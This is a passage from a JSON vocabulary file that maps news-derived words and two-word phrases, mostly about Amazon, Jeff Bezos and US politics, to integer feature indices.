\"majesty christopher\": 152681,\n  \"just ahead\": 152682,\n  \"congressman endorsing\": 152683,\n  \"holland knight\": 152684,\n  \"smith research\": 152685,\n  \"called elemental\": 152686,\n  \"week called\": 152687,\n  \"candidates bidding\": 152688,\n  \"iterative\": 152689,\n  \"haynes\": 152690,\n  \"doug wilder\": 152691,\n  \"yvette\": 152692,\n  \"fund family\": 152693,\n  \"low\": 152694,\n  \"org library\": 152695,\n  \"cohen paid\": 152696,\n  \"michael lasser\": 152697,\n  \"remains commerce\": 152698,\n  \"best memes\": 152699,\n  \"current flu\": 152700,\n  \"eventual shipment\": 152701,\n  \"law policy\": 152702,\n  \"730 earned\": 152703,\n  \"sandhya\": 152704,\n  \"rich list\": 152705,\n  \"regional carriers\": 152706,\n  \"fuzzy\": 152707,\n  \"reaped riches\": 152708,\n  \"complicate existing\": 152709,\n  \"earrings\": 152710,\n  \"marred\": 152711,\n  \"future leaders\": 152712,\n  \"latest best\": 152713,\n  \"competition 234\": 152714,\n  \"publication article\": 152715,\n  \"cord playing\": 152716,\n  \"outreach capitol\": 152717,\n  \"economy looming\": 152718,\n  \"junction\": 152719,\n  \"downbeat led\": 152720,\n  \"smaller merchants\": 152721,\n  \"zeleny\": 152722,\n  \"analytica breach\": 152723,\n  \"local backlash\": 152724,\n  \"large price\": 152725,\n  \"business argued\": 152726,\n  \"commerce suggesting\": 152727,\n  \"mega dam\": 152728,\n  \"stern new\": 152729,\n  \"diverge\": 152730,\n  \"blimp emblazoned\": 152731,\n  \"controlling drug\": 152732,\n  \"democratic members\": 152733,\n  \"cargo planes\": 152734,\n  \"deleted millions\": 152735,\n  \"politically charged\": 152736,\n  \"reuters risk\": 152737,\n  \"strategists based\": 152738,\n  \"lichtenstein\": 152739,\n  \"programs internationally\": 152740,\n  \"hefty public\": 152741,\n  \"york national\": 152742,\n  \"jeannie\": 152743,\n  \"simpson evidence\": 152744,\n  \"openly discussed\": 152745,\n  \"amazon statement\": 152746,\n  \"willful monopoly\": 152747,\n  \"days\": 152748,\n  \"avoidance trump\": 152749,\n  \"2019 don\": 152750,\n  \"agree federal\": 152751,\n  \"harmony thing\": 152752,\n  \"delivery finally\": 152753,\n  \"rep\\u00f3rter\": 152754,\n  \"cage\": 152755,\n  \"520 amazon\": 152756,\n  \"george chapel\": 152757,\n  \"democrats plan\": 152758,\n  \"increased deforestation\": 152759,\n  \"canadian consumers\": 152760,\n  \"influence\": 152761,\n  \"company union\": 152762,\n  \"total gdp\": 152763,\n  \"business tycoon\": 152764,\n  \"radical idea\": 152765,\n  \"ma warned\": 152766,\n  \"took issue\": 152767,\n  \"big justified\": 152768,\n  \"trump unhinged\": 152769,\n  \"home invasion\": 152770,\n  \"story cisco\": 152771,\n  \"pictures bezos\": 152772,\n  \"thirty\": 152773,\n  \"billionaire bezos\": 152774,\n  \"bonanza actually\": 152775,\n  \"exacting\": 152776,\n  \"nathaniel dorsky\": 152777,\n  \"castle agreement\": 152778,\n  \"weed american\": 152779,\n  \"jonestrading chief\": 152780,\n  \"shores\": 152781,\n  \"avery\": 152782,\n  \"steven pearlstein\": 152783,\n  \"bob goodlatte\": 152784,\n  \"raton florida\": 152785,\n  \"production shift\": 152786,\n  \"company extensively\": 152787,\n  \"hates amazon\": 152788,\n  \"past according\": 152789,\n  \"defies\": 152790,\n  \"biotechnology leen\": 152791,\n  \"loyal installed\": 152792,\n  \"digs\": 152793,\n  \"judiciary house\": 152794,\n  \"medium accusing\": 152795,\n  \"believable\": 152796,\n  \"wielded\": 152797,\n  \"bosses diagrammed\": 152798,\n  \"retail associates\": 152799,\n  \"activist elected\": 152800,\n  \"propulsion\": 152801,\n  \"230m unique\": 152802,\n  \"cnn cristina\": 152803,\n  \"vine programme\": 152804,\n  \"enquirer business\": 152805,\n  \"website medium\": 152806,\n  \"walk based\": 152807,\n  \"moments\": 152808,\n  \"newsrooms include\": 152809,\n  \"fairfax counties\": 152810,\n  \"pr operation\": 152811,\n  \"people city\": 152812,\n  \"win nobel\": 152813,\n  \"amazon wondering\": 152814,\n  \"settlement saying\": 152815,\n  \"time personally\": 152816,\n  \"delays\": 152817,\n  \"just recently\": 152818,\n  \"toget\": 152819,\n  \"hardiman\": 152820,\n  \"areas including\": 152821,\n  \"oscars economic\": 152822,\n  \"amazon compelling\": 152823,\n  \"shopify\": 152824,\n  \"tax points\": 152825,\n  \"lofty 326\": 152826,\n  \"major shipping\": 152827,\n  \"ari emanuel\": 152828,\n  \"bezos insisted\": 152829,\n  \"retailers stephen\": 152830,\n  \"parent doesn\": 152831,\n  \"selling proprietary\": 152832,\n  \"bi ignition\": 152833,\n  \"falling immediately\": 152834,\n  \"postal serviceincreased\": 152835,\n  \"executive says\": 152836,\n  \"bbc amc\": 152837,\n  \"mccabe account\": 152838,\n  \"multiple languages\": 152839,\n  \"shareholders hate\": 152840,\n  \"justice spent\": 152841,\n  \"mellow\": 152842,\n  \"project pig\": 152843,\n  \"facebook sleazy\": 152844,\n  \"usps main\": 152845,\n  \"race spokesman\": 152846,\n  \"baraka\": 152847,\n  \"profound effect\": 152848,\n  \"p7a s7a\": 152849,\n  \"step\": 152850,\n  \"strong position\": 152851,\n  \"bloated bureaucracies\": 152852,\n  \"possible interference\": 152853,\n  \"senate funding\": 152854,\n  \"subterfuge\": 152855,\n  \"openly hostile\": 152856,\n  \"taxpayers treasury\": 152857,\n  \"golf\": 152858,\n  \"mcdougal politically\": 152859,\n  \"connected handheld\": 152860,\n  \"company acquire\": 152861,\n  \"nasdaq composite\": 152862,\n  \"aclu aclu\": 152863,\n  \"trump sends\": 152864,\n  \"associates earn\": 152865,\n  \"siphoned cash\": 152866,\n  \"america closest\": 152867,\n  \"coalatree trailhead\": 152868,\n  \"butting heads\": 152869,\n  \"apocalypse\": 152870,\n  \"forest phone\": 152871,\n  \"jolley father\": 152872,\n  \"parallel internet\": 152873,\n  \"reports suggest\": 152874,\n  \"build crain\": 152875,\n  \"forces allowing\": 152876,\n  \"crafted narrative\": 152877,\n  \"letter stated\": 152878,\n  \"shares buckingham\": 152879,\n  \"state districts\": 152880,\n  \"ellison yes\": 152881,\n  \"backlash loosened\": 152882,\n  \"fine awaits\": 152883,\n  \"brow national\": 152884,\n  \"simultaneously paint\": 152885,\n  \"827\": 152886,\n  \"expensive mandate\": 152887,\n  \"particularly alluring\": 152888,\n  \"near los\": 152889,\n  \"approaches decision\": 152890,\n  \"companies involvement\": 152891,\n  \"northeast\": 152892,\n  \"yield moved\": 152893,\n  \"ted cruz\": 152894,\n  \"day knockdown\": 152895,\n  \"aryan brotherhood\": 152896,\n  \"assailants\": 152897,\n  \"images contact\": 152898,\n  \"possible witnesses\": 152899,\n  \"democratic katie\": 152900,\n  \"begin vt\": 152901,\n  \"chevron kennedy\": 152902,\n  \"kitsap\": 152903,\n  \"research centre\": 152904,\n  \"transcripts\": 152905,\n  \"approval process\": 152906,\n  \"regularly sent\": 152907,\n  \"employee driven\": 152908,\n  \"highly levered\": 152909,\n  \"stephanie meltzer\": 152910,\n  \"cuomo hogwash\": 152911,\n  \"commonweal\": 152912,\n  \"day industry\": 152913,\n  \"american crime\": 152914,\n  \"splc designated\": 152915,\n  \"hosting food\": 152916,\n  \"hardware business\": 152917,\n  \"streetcars\": 152918,\n  \"native amazon\": 152919,\n  \"nominated artist\": 152920,\n  \"told salon\": 152921,\n  \"5151\": 152922,\n  \"stein mart\": 152923,\n  \"mention trump\": 152924,\n  \"acting chief\": 152925,\n  \"cancelsend\": 152926,\n  \"2018 electronic\": 152927,\n  \"photos ami\": 152928,\n  \"ooh\": 152929,\n  \"page series\": 152930,\n  \"nike told\": 152931,\n  \"legs crossed\": 152932,\n  \"day fail\": 152933,\n  \"basis schweizer\": 152934,\n  \"giants anonymous\": 152935,\n  \"financial freedom\": 152936,\n  \"rocks\": 152937,\n  \"democracy works\": 152938,\n  \"digital downloads\": 152939,\n  \"messages published\": 152940,\n  \"logistic startups\": 152941,\n  \"digital photo\": 152942,\n  \"public benefits\": 152943,\n  \"hands long\": 152944,\n  \"rolling book\": 152945,\n  \"amanda eisenberg\": 152946,\n  \"fetal tissue\": 152947,\n  \"cashiers making\": 152948,\n  \"preteen girls\": 152949,\n  \"authors\": 152950,\n  \"reversal\": 152951,\n  \"oracle declined\": 152952,\n  \"work 2018\": 152953,\n  \"minimal competition\": 152954,\n  \"distributor cardinal\": 152955,\n  \"news correspondent\": 152956,\n  \"striped tie\": 152957,\n  \"afl cio\": 152958,\n  \"walmart net\": 152959,\n  \"chauvinism\": 152960,\n  \"extraordinary potential\": 152961,\n  \"drugmaker\": 152962,\n  \"enquirer practice\": 152963,\n  \"writing hippie\": 152964,\n  \"deaths overall\": 152965,\n  \"build corporate\": 152966,\n  \"companies best\": 152967,\n  \"f\\u00e1bio rodrigues\": 152968,\n  \"group clsa\": 152969,\n  \"perk likewise\": 152970,\n  \"22774588\": 152971,\n  \"court square\": 152972,\n  \"axis\": 152973,\n  \"amazon turned\": 152974,\n  \"recent doe\": 152975,\n  \"daredevil netflix\": 152976,\n  \"afghan refugees\": 152977,\n  \"movie streaming\": 152978,\n  \"business impact\": 152979,\n  \"sellers instead\": 152980,\n  \"failed deal\": 152981,\n  \"read positive\": 152982,\n  \"chase medical\": 152983,\n  \"history producing\": 152984,\n  \"cinemax\": 152985,\n  \"amid claims\": 152986,\n  \"current parseint\": 152987,\n  \"labeling journalists\": 152988,\n  \"electronic device\": 152989,\n  \"metapack earlier\": 152990,\n  \"obama established\": 152991,\n  \"nutritional\": 152992,\n  \"2016 robert\": 152993,\n  \"america sanders\": 152994,\n  \"ly\": 152995,\n  \"expansion touched\": 152996,\n  \"lower trump\": 152997,\n  \"hasn received\": 152998,\n  \"policy led\": 152999,\n  \"glitches plagued\": 153000,\n  \"masunaga latimes\": 153001,\n  \"service dumped\": 153002,\n  \"cargo jets\": 153003,\n  \"matt yurus\": 153004,\n  \"facebook ceo\": 153005,\n  \"earnings expectations\": 153006,\n  \"total sum\": 153007,\n  \"process guy\": 153008,\n  \"report suggested\": 153009,\n  \"computer models\": 153010,\n  \"represented media\": 153011,\n  \"just eat\": 153012,\n  \"earned master\": 153013,\n  \"marijuana 2019\": 153014,\n  \"hudson media\": 153015,\n  \"albeit faithful\": 153016,\n  \"dismaying\": 153017,\n  \"consumers experts\": 153018,\n  \"data bidding\": 153019,\n  \"undress\": 153020,\n  \"street new\": 153021,\n  \"black object\": 153022,\n  \"ibm propublica\": 153023,\n  \"mountain expansion\": 153024,\n  \"aso\": 153025,\n  \"classic board\": 153026,\n  \"biggest coup\": 153027,\n  \"lazarus sandhya\": 153028,\n  \"talkingtech 2019\": 153029,\n  \"revoking cnn\": 153030,\n  \"company nasdaq\": 153031,\n  \"hp_lead_pos11\": 153032,\n  \"amazon 1271\": 153033,\n  \"delbianco president\": 153034,\n  \"republicans rebuked\": 153035,\n  \"rejane frederick\": 153036,\n  \"dollar trade\": 153037,\n  \"tax hikes\": 153038,\n  \"unsupported\": 153039,\n  \"term effects\": 153040,\n  \"fool stamps\": 153041,\n  \"novey amazon\": 153042,\n  \"indelible figures\": 153043,\n  \"misinformation tied\": 153044,\n  \"341 400\": 153045,\n  \"amazon 907\": 153046,\n  \"lit\": 153047,\n  \"family publication\": 153048,\n  \"growing 117\": 153049,\n  \"cardinal ceo\": 153050,\n  \"deal deliver\": 153051,\n  \"methodically\": 153052,\n  \"chart\": 153053,\n  \"50eb2d087826a77e5d000001\": 153054,\n  \"paid little\": 153055,\n  \"function r4\": 153056,\n  \"game character\": 153057,\n  \"kerr blasts\": 153058,\n  \"seemingly contradictory\": 153059,\n  \"holds 563\": 153060,\n  \"talking bs_bullet_primary\": 153061,\n  \"dopp\": 153062,\n  \"government protection\": 153063,\n  \"delivery lockers\": 153064,\n  \"2017 democratic\": 153065,\n  \"barrier breaking\": 153066,\n  \"men threw\": 153067,\n  \"deal onex\": 153068,\n  \"president michel\": 153069,\n  \"pressuring amazon\": 153070,\n  \"enjoyed\": 153071,\n  \"sun times\": 153072,\n  \"importers\": 153073,\n  \"secretary sean\": 153074,\n  \"producer dj\": 153075,\n  \"michal cohen\": 153076,\n  \"met\": 153077,\n  \"offer fulfillment\": 153078,\n  \"hathaway charlotte\": 153079,\n  \"tea south\": 153080,\n  \"aptly calls\": 153081,\n  \"amazon salla\": 153082,\n  \"freighter aircraft\": 153083,\n  \"contract drivers\": 153084,\n  \"reasonable expect\": 153085,\n  \"americas rich\": 153086,\n  \"hq2 began\": 153087,\n  \"europe smarter\": 153088,\n  \"business bezos\": 153089,\n  \"spade\": 153090,\n  \"best microsd\": 153091,\n  \"tonya garcia\": 153092,\n  \"choices\": 153093,\n  \"documents trump\": 153094,\n  \"sought comment\": 153095,\n  \"shutting underperforming\": 153096,\n  \"million biodiversity\": 153097,\n  \"action hero\": 153098,\n  \"staged action\": 153099,\n  \"k6 stoppropagation\": 153100,\n  \"starving\": 153101,\n  \"woman murdered\": 153102,\n  \"purchase items\": 153103,\n  \"dishonesty price\": 153104,\n  \"holds bachelor\": 153105,\n  \"news jane\": 153106,\n  \"cooperating currently\": 153107,\n  \"bolsonaro thinks\": 153108,\n  \"service index\": 153109,\n  \"upcoming holiday\": 153110,\n  \"city marginal\": 153111,\n  \"backed vukmir\": 153112,\n  \"girl meets\": 153113,\n  \"washington elite\": 153114,\n  \"mda\": 153115,\n  \"giants videos\": 153116,\n  \"remarks regarding\": 153117,\n  \"957\": 153118,\n  \"billion industry\": 153119,\n  \"8217 running\": 153120,\n  \"marketwatch spokeswoman\": 153121,\n  \"white landowners\": 153122,\n  \"knew hush\": 153123,\n  \"novella\": 153124,\n  \"consumer media\": 153125,\n  \"issues members\": 153126,\n  \"red tie\": 153127,\n  \"thunderstorms hours\": 153128,\n  \"council mark\": 153129,\n  \"bezos abuses\": 153130,\n  \"mnuchin predatory\": 153131,\n  \"work feel\": 153132,\n  \"clearly demonstrate\": 153133,\n  \"air live\": 153134,\n  \"brainstorming\": 153135,\n  \"kang\": 153136,\n  \"oka merck\": 153137,\n  \"practices walmart\": 153138,\n  \"lights elevation\": 153139,\n  \"prices wrote\": 153140,\n  \"liars\": 153141,\n  \"powder\": 153142,\n  \"song pools\": 153143,\n  \"whisper\": 153144,\n  \"conceptually\": 153145,\n  \"investing_promo newsletter\": 153146,\n  \"kingdom closest\": 153147,\n  \"disappointing second\": 153148,\n  \"creative solutions\": 153149,\n  \"faraway\": 153150,\n  \"american sales\": 153151,\n  \"entire area\": 153152,\n  \"forces operations\": 153153,\n  \"unclear\": 153154,\n  \"today interview\": 153155,\n  \"internet making\": 153156,\n  \"mattis amazon\": 153157,\n  \"originated\": 153158,\n  \"crusty\": 153159,\n  \"drone war\": 153160,\n  \"entity regardless\": 153161,\n  \"house fake\": 153162,\n  \"extort new\": 153163,\n  \"bezos managed\": 153164,\n  \"deny saying\": 153165,\n  \"approachable\": 153166,\n  \"giants packages\": 153167,\n  \"dewey rochester\": 153168,\n  \"combination stores\": 153169,\n  \"shielded retailers\": 153170,\n  \"sister publication\": 153171,\n  \"monica lewinksy\": 153172,\n  \"leila larmand\": 153173,\n  \"inst holders\": 153174,\n  \"sees ton\": 153175,\n  \"york credit\": 153176,\n  \"government ny\": 153177,\n  \"company ahead\": 153178,\n  \"postal employees\": 153179,\n  \"alan dershowitz\": 153180,\n  \"amazon giant\": 153181,\n  \"mandarin\": 153182,\n  \"slavered cnn\": 153183,\n  \"4dx\": 153184,\n  \"brunette trump\": 153185,\n  \"2019 chicago\": 153186,\n  \"app susan\": 153187,\n  \"software facefirst\": 153188,\n  \"180917225659912\": 153189,\n  \"incriminating\": 153190,\n  \"paper reads\": 153191,\n  \"impacting brazil\": 153192,\n  \"rfra\": 153193,\n  \"hellmann interviewed\": 153194,\n  \"previously undisclosed\": 153195,\n  \"combined\": 153196,\n  \"amazon waking\": 153197,\n  \"sulzberger issued\": 153198,\n  \"leighton took\": 153199,\n  \"axios told\": 153200,\n  \"cupboard romanian\": 153201,\n  \"forced poverty\": 153202,\n  \"_catst6fu1s\": 153203,\n  \"epithets\": 153204,\n  \"chicago regional\": 153205,\n  \"nahmias laura\": 153206,\n  \"video launch\": 153207,\n  \"company anymore\": 153208,\n  \"outlet called\": 153209,\n  \"better salary\": 153210,\n  \"people upset\": 153211,\n  \"aoc thrill\": 153212,\n  \"foods right\": 153213,\n  \"pursue services\": 153214,\n  \"books make\": 153215,\n  \"brenner getty\": 153216,\n  \"factcheck\": 153217,\n  \"meet deap\": 153218,\n  \"short\": 153219,\n  \"2006 law\": 153220,\n  \"carbon sinks\": 153221,\n  \"developing delivery\": 153222,\n  \"pickled\": 153223,\n  \"bank business\": 153224,\n  \"course don\": 153225,\n  \"owner michael\": 153226,\n  \"555\": 153227,\n  \"corporation run\": 153228,\n  \"investigation team\": 153229,\n  \"direct guidance\": 153230,\n  \"alongside sen\": 153231,\n  \"served\": 153232,\n  \"mainstream democrats\": 153233,\n  \"prior comments\": 153234,\n  \"crowded terminals\": 153235,\n  \"tutelage\": 153236,\n  \"inflationary\": 153237,\n  \"j9x function\": 153238,\n  \"toyota sienna\": 153239,\n  \"law indiana\": 153240,\n  \"messitte ordered\": 153241,\n  \"pending loss\": 153242,\n  \"grandchildren don\": 153243,\n  \"divorce laws\": 153244,\n  \"substance sure\": 153245,\n  \"sound terrible\": 153246,\n  \"embarrassed tech\": 153247,\n  \"frank wall\": 153248,\n  \"business tax\": 153249,\n  \"democracy amounts\": 153250,\n  \"blocking technology\": 153251,\n  \"liberal financier\": 153252,\n  \"morning senator\": 153253,\n  \"oops mean\": 153254,\n  \"husband\": 153255,\n  \"washington shelling\": 153256,\n  \"expect 2019\": 153257,\n  \"watch list\": 153258,\n  \"thirst\": 153259,\n  \"opportunity 2018\": 153260,\n  \"fundraisers\": 153261,\n  \"economy locals\": 153262,\n  \"people hold\": 153263,\n  \"washington dod\": 153264,\n  \"andrej\": 153265,\n  \"chairman henry\": 153266,\n  \"venezuela looks\": 153267,\n  \"cohn reportedly\": 153268,\n  \"impact revenue\": 153269,\n  \"arcnewsletter utm_medium\": 153270,\n  \"cnn sourcelink\": 153271,\n  \"eliminate meal\": 153272,\n  \"given preliminary\": 153273,\n  \"conduction continues\": 153274,\n  \"newspaper\": 153275,\n  \"ric riebold\": 153276,\n  \"multimillion\": 153277,\n  \"wide criticism\": 153278,\n  \"homeless people\": 153279,\n  \"meals groceries\": 153280,\n  \"currently pushing\": 153281,\n  \"connected maybe\": 153282,\n  \"cramer trump\": 153283,\n  \"limits profits\": 153284,\n  \"russia ongoing\": 153285,\n  \"payer funded\": 153286,\n  \"richardson\": 153287,\n  \"bothered spending\": 153288,\n  \"poetry foundation\": 153289,\n  \"amzn holds\": 153290,\n  \"journalistic hero\": 153291,\n  \"saudi crown\": 153292,\n  \"devastation diverse\": 153293,\n  \"representative elijah\": 153294,\n  \"current licensing\": 153295,\n  \"strong\": 153296,\n  \"luxury stocks\": 153297,\n  \"raab arrives\": 153298,\n  \"haughney dare\": 153299,\n  \"receipt\": 153300,\n  \"protected laura\": 153301,\n  \"peet\": 153302,\n  \"list better\": 153303,\n  \"friend richard\": 153304,\n  \"place razor\": 153305,\n  \"unfairly trump\": 153306,\n  \"delegitimizing donald\": 153307,\n  \"potent tools\": 153308,\n  \"upload reveals\": 153309,\n  \"highlighted lower\": 153310,\n  \"search company\": 153311,\n  \"filming business\": 153312,\n  \"tripled according\": 153313,\n  \"fakenews\": 153314,\n  \"thread continued\": 153315,\n  \"internal company\": 153316,\n  \"usual expanded\": 153317,\n  \"easy times\": 153318,\n  \"living index\": 153319,\n  \"tracking app\": 153320,\n  \"prime health\": 153321,\n  \"asked question\": 153322,\n  \"piquant\": 153323,\n  \"breinigsville\": 153324,\n  \"recurring role\": 153325,\n  \"urihe7ofy043r a4ee\": 153326,\n  \"allows local\": 153327,\n  \"official added\": 153328,\n  \"toughest net\": 153329,\n  \"costs despite\": 153330,\n  \"policies low\": 153331,\n  \"emails alleged\": 153332,\n  \"hart set\": 153333,\n  \"clive\": 153334,\n  \"program including\": 153335,\n  \"stelter\": 153336,\n  \"torel\": 153337,\n  \"company pocketing\": 153338,\n  \"bribe\": 153339,\n  \"older sister\": 153340,\n  \"watered\": 153341,\n  \"transportation pressures\": 153342,\n  \"govpredict business\": 153343,\n  \"north america\": 153344,\n  \"andeditor\": 153345,\n  \"ill equipped\": 153346,\n  \"mancismarvellous uksmallbiz\": 153347,\n  \"repay\": 153348,\n  \"maker sandoz\": 153349,\n  \"instagram properties\": 153350,\n  \"invalid email\": 153351,\n  \"addition brennan\": 153352,\n  \"ssg rodney\": 153353,\n  \"place photo\": 153354,\n  \"packs 800\": 153355,\n  \"showman\": 153356,\n  \"politics liz\": 153357,\n  \"business reuters\": 153358,\n  \"current election\": 153359,\n  \"west kim\": 153360,\n  \"high density\": 153361,\n  \"honor fund\": 153362,\n  \"community members\": 153363,\n  \"given maryland\": 153364,\n  \"import cannabis\": 153365,\n  \"hotel director\": 153366,\n  \"nationaldonutday twinpeaks\": 153367,\n  \"excruciatingly\": 153368,\n  \"families friends\": 153369,\n  \"pardoning people\": 153370,\n  \"court close\": 153371,\n  \"trump visits\": 153372,\n  \"preserves\": 153373,\n  \"sciences reporter\": 153374,\n  \"response amazon\": 153375,\n  \"2012 gop\": 153376,\n  \"request conducted\": 153377,\n  \"hermit kingdom\": 153378,\n  \"inaccurately claimed\": 153379,\n  \"know amazon\": 153380,\n  \"international agribusiness\": 153381,\n  \"imports driving\": 153382,\n  \"news articles\": 153383,\n  \"pl\": 153384,\n  \"panic white\": 153385,\n  \"chill factored\": 153386,\n  \"inslee wash\": 153387,\n  \"emissions rules\": 153388,\n  \"audi\": 153389,\n  \"parenthood\": 153390,\n  \"greenland\": 153391,\n  \"downstate divide\": 153392,\n  \"allegedly fight\": 153393,\n  \"bezos range\": 153394,\n  \"public bake\": 153395,\n  \"sheri\": 153396,\n  \"documentary includes\": 153397,\n  \"drills\": 153398,\n  \"reddit earlier\": 153399,\n  \"netflix cancelled\": 153400,\n  \"reaccelerate\": 153401,\n  \"bodies\": 153402,\n  \"ent\": 153403,\n  \"password concerns\": 153404,\n  \"local politics\": 153405,\n  \"cramer refers\": 153406,\n  \"sessions raises\": 153407,\n  \"wolff publisher\": 153408,\n  \"brief impeaching\": 153409,\n  \"recommending\": 153410,\n  \"causing massive\": 153411,\n  \"major banks\": 153412,\n  \"notable exception\": 153413,\n  \"stock cigna\": 153414,\n  \"big tariffs\": 153415,\n  \"debut best\": 153416,\n  \"p1 a4ee\": 153417,\n  \"course assembly\": 153418,\n  \"unprecedented surge\": 153419,\n  \"finals\": 153420,\n  \"bolsonaro\": 153421,\n  \"decentralized\": 153422,\n  \"starring colleen\": 153423,\n  \"amazon says\": 153424,\n  \"refuse means\": 153425,\n  \"york crash\": 153426,\n  \"claimed islam\": 153427,\n  \"shop posing\": 153428,\n  \"massive investments\": 153429,\n  \"jo\\u0119nia\": 153430,\n  \"registered dietitian\": 153431,\n  \"long stated\": 153432,\n  \"isn binary\": 153433,\n  \"change retail\": 153434,\n  \"2019 rise\": 153435,\n  \"null companyprofile\": 153436,\n  \"night bezos\": 153437,\n  \"bus topics\": 153438,\n  \"possession\": 153439,\n  \"couple ivan\": 153440,\n  \"cnnvideoapiloadcompletehandlers\": 153441,\n  \"coming hallow\": 153442,\n  \"appearance\": 153443,\n  \"forward walker\": 153444,\n  \"bribery claims\": 153445,\n  \"goal\": 153446,\n  \"current workforce\": 153447,\n  \"pitching prospects\": 153448,\n  \"conforming fannie\": 153449,\n  \"disputed waters\": 153450,\n  \"claims federal\": 153451,\n  \"country great\": 153452,\n  \"134 8billion\": 153453,\n  \"1801\": 153454,\n  \"actually ingesting\": 153455,\n  \"manipulation campaigns\": 153456,\n  \"writing amazon\": 153457,\n  \"ushered\": 153458,\n  \"antitrust scrutiny\": 153459,\n  \"exposed public\": 153460,\n  \"investigate president\": 153461,\n  \"eu new\": 153462,\n  \"successful scalping\": 153463,\n  \"company entry\": 153464,\n  \"roseanne spinoff\": 153465,\n  \"stolen items\": 153466,\n  \"steal\": 153467,\n  \"national council\": 153468,\n  \"false allegations\": 153469,\n  \"welcome scrutiny\": 153470,\n  \"cbs abc\": 153471,\n  \"d1 uu9ssaa17kk3\": 153472,\n  \"democrat freshman\": 153473,\n  \"drew angerer\": 153474,\n  \"government reopens\": 153475,\n  \"mother trying\": 153476,\n  \"everybody needs\": 153477,\n  \"read microsoft\": 153478,\n  \"savanna\": 153479,\n  \"trump recently\": 153480,\n  \"establishment democrats\": 153481,\n  \"getplayerbycontainer\": 153482,\n  \"infrastructure construction\": 153483,\n  \"leads broker\": 153484,\n  \"holdover\": 153485,\n  \"interesting watch\": 153486,\n  \"various approvals\": 153487,\n  \"threatens immigrant\": 153488,\n  \"pharma big\": 153489,\n  \"pence trump\": 153490,\n  \"winning modern\": 153491,\n  \"movado\": 153492,\n  \"d43co\": 153493,\n  \"cdt updated\": 153494,\n  \"marching\": 153495,\n  \"estate film\": 153496,\n  \"reuters facebook\": 153497,\n  \"liberal trump\": 153498,\n  \"waste\": 153499,\n  \"really welcomed\": 153500,\n  \"questionfor\": 153501,\n  \"located near\": 153502,\n  \"president campaign\": 153503,\n  \"offering context\": 153504,\n  \"wish list\": 153505,\n  \"average parcel\": 153506,\n  \"texts private\": 153507,\n  \"wearing translation\": 153508,\n  \"trump strange\": 153509,\n  \"generated political\": 153510,\n  \"complement\": 153511,\n  \"cityshirts\": 153512,\n  \"buckle\": 153513,\n  \"relations nightmare\": 153514,\n  \"release affect\": 153515,\n  \"seconds obama\": 153516,\n  \"barcelona joined\": 153517,\n  \"separate incidents\": 153518,\n  \"market movements\": 153519,\n  \"trump mentioned\": 153520,\n  \"smaller players\": 153521,\n  \"peter gilmore\": 153522,\n  \"week story\": 153523,\n  \"google cnbc\": 153524,\n  \"younger highly\": 153525,\n  \"photos abridged\": 153526,\n  \"amazon earlier\": 153527,\n  \"match qatar\": 153528,\n  \"clearly narrative\": 153529,\n  \"platforms hudson\": 153530,\n  \"communication logs\": 153531,\n  \"transactions\": 153532,\n  \"nontariff\": 153533,\n  \"prime member\": 153534,\n  \"force ordered\": 153535,\n  \"jersey school\": 153536,\n  \"calculation\": 153537,\n  \"making science\": 153538,\n  \"british gq\": 153539,\n  \"2017 questioned\": 153540,\n  \"max escaped\": 153541,\n  \"delivery startup\": 153542,\n  \"expressed charlie\": 153543,\n  \"pnw homelessness\": 153544,\n  \"zebra\": 153545,\n  \"tough guy\": 153546,\n  \"whew glad\": 153547,\n  \"races religions\": 153548,\n  \"aspect\": 153549,\n  \"child centered\": 153550,\n  \"africa truly\": 153551,\n  \"horizontal asset\": 153552,\n  \"kidding right\": 153553,\n  \"service packaged\": 153554,\n  \"really trust\": 153555,\n  \"beast source\": 153556,\n  \"traditional christian\": 153557,\n  \"telcos\": 153558,\n  \"amazon response\": 153559,\n  \"service eliot\": 153560,\n  \"aws employees\": 153561,\n  \"digital book\": 153562,\n  \"devoid\": 153563,\n  \"equal weight\": 153564,\n  \"kimmy schmidt\": 153565,\n  \"homeless encampment\": 153566,\n  \"wireless infrastructure\": 153567,\n  \"tumble makes\": 153568,\n  \"voiced\": 153569,\n  \"conflicts financial\": 153570,\n  \"shibabi plays\": 153571,\n  \"ensure amazon\": 153572,\n  \"single\": 153573,\n  \"area information\": 153574,\n  \"founder calling\": 153575,\n  \"puts broward\": 153576,\n  \"times examined\": 153577,\n  \"reactid 164\": 153578,\n  \"repeatable\": 153579,\n  \"national constitution\": 153580,\n  \"taxes overworking\": 153581,\n  \"erway\": 153582,\n  \"heart breaking\": 153583,\n  \"peace trump\": 153584,\n  \"rants blasting\": 153585,\n  \"cools bit\": 153586,\n  \"1701et\": 153587,\n  \"months reuters\": 153588,\n  \"forecast leaves\": 153589,\n  \"blue jeans\": 153590,\n  \"giant pull\": 153591,\n  \"kalorama neighborhood\": 153592,\n  \"disputes\": 153593,\n  \"s7a 1962092244\": 153594,\n  \"traffic\": 153595,\n  \"breaking baseball\": 153596,\n  \"kong 27990\": 153597,\n  \"genies\": 153598,\n  \"suburban community\": 153599,\n  \"times leaked\": 153600,\n  \"good lobbying\": 153601,\n  \"_self\": 153602,\n  \"vox jen\": 153603,\n  \"kosinski\": 153604,\n  \"trump willingness\": 153605,\n  \"published bombshell\": 153606,\n  \"advisor sean\": 153607,\n  \"ami says\": 153608,\n  \"spoken extensively\": 153609,\n  \"resarch\": 153610,\n  \"raise prices\": 153611,\n  \"yesterday delivered\": 153612,\n  \"undisclosed meeting\": 153613,\n  \"korea revived\": 153614,\n  \"modest rebound\": 153615,\n  \"representing american\": 153616,\n  \"smearing\": 153617,\n  \"allocation\": 153618,\n  \"otcm\": 153619,\n  \"creative monopolies\": 153620,\n  \"stevens\": 153621,\n  \"new ceos\": 153622,\n  \"david moon\": 153623,\n  \"regulatory landscape\": 153624,\n  \"kardashians hotman\": 153625,\n  \"regularly informed\": 153626,\n  \"worth costly\": 153627,\n  \"dispatching\": 153628,\n  \"better sell\": 153629,\n  \"amazon listing\": 153630,\n  \"term nbc\": 153631,\n  \"short list\": 153632,\n  \"downloaded social\": 153633,\n  \"advisers mutual\": 153634,\n  \"stores florists\": 153635,\n  \"foto sourcedavid\": 153636,\n  \"deadline looms\": 153637,\n  \"night shelters\": 153638,\n  \"quite number\": 153639,\n  \"schwietzer thinks\": 153640,\n  \"key officials\": 153641,\n  \"emblematic\": 153642,\n  \"recent weakening\": 153643,\n  \"officer dylan\": 153644,\n  \"evening email\": 153645,\n  \"democrats republicans\": 153646,\n  \"advisor canada\": 153647,\n  \"sell distribute\": 153648,\n  \"morning ritual\": 153649,\n  \"gains 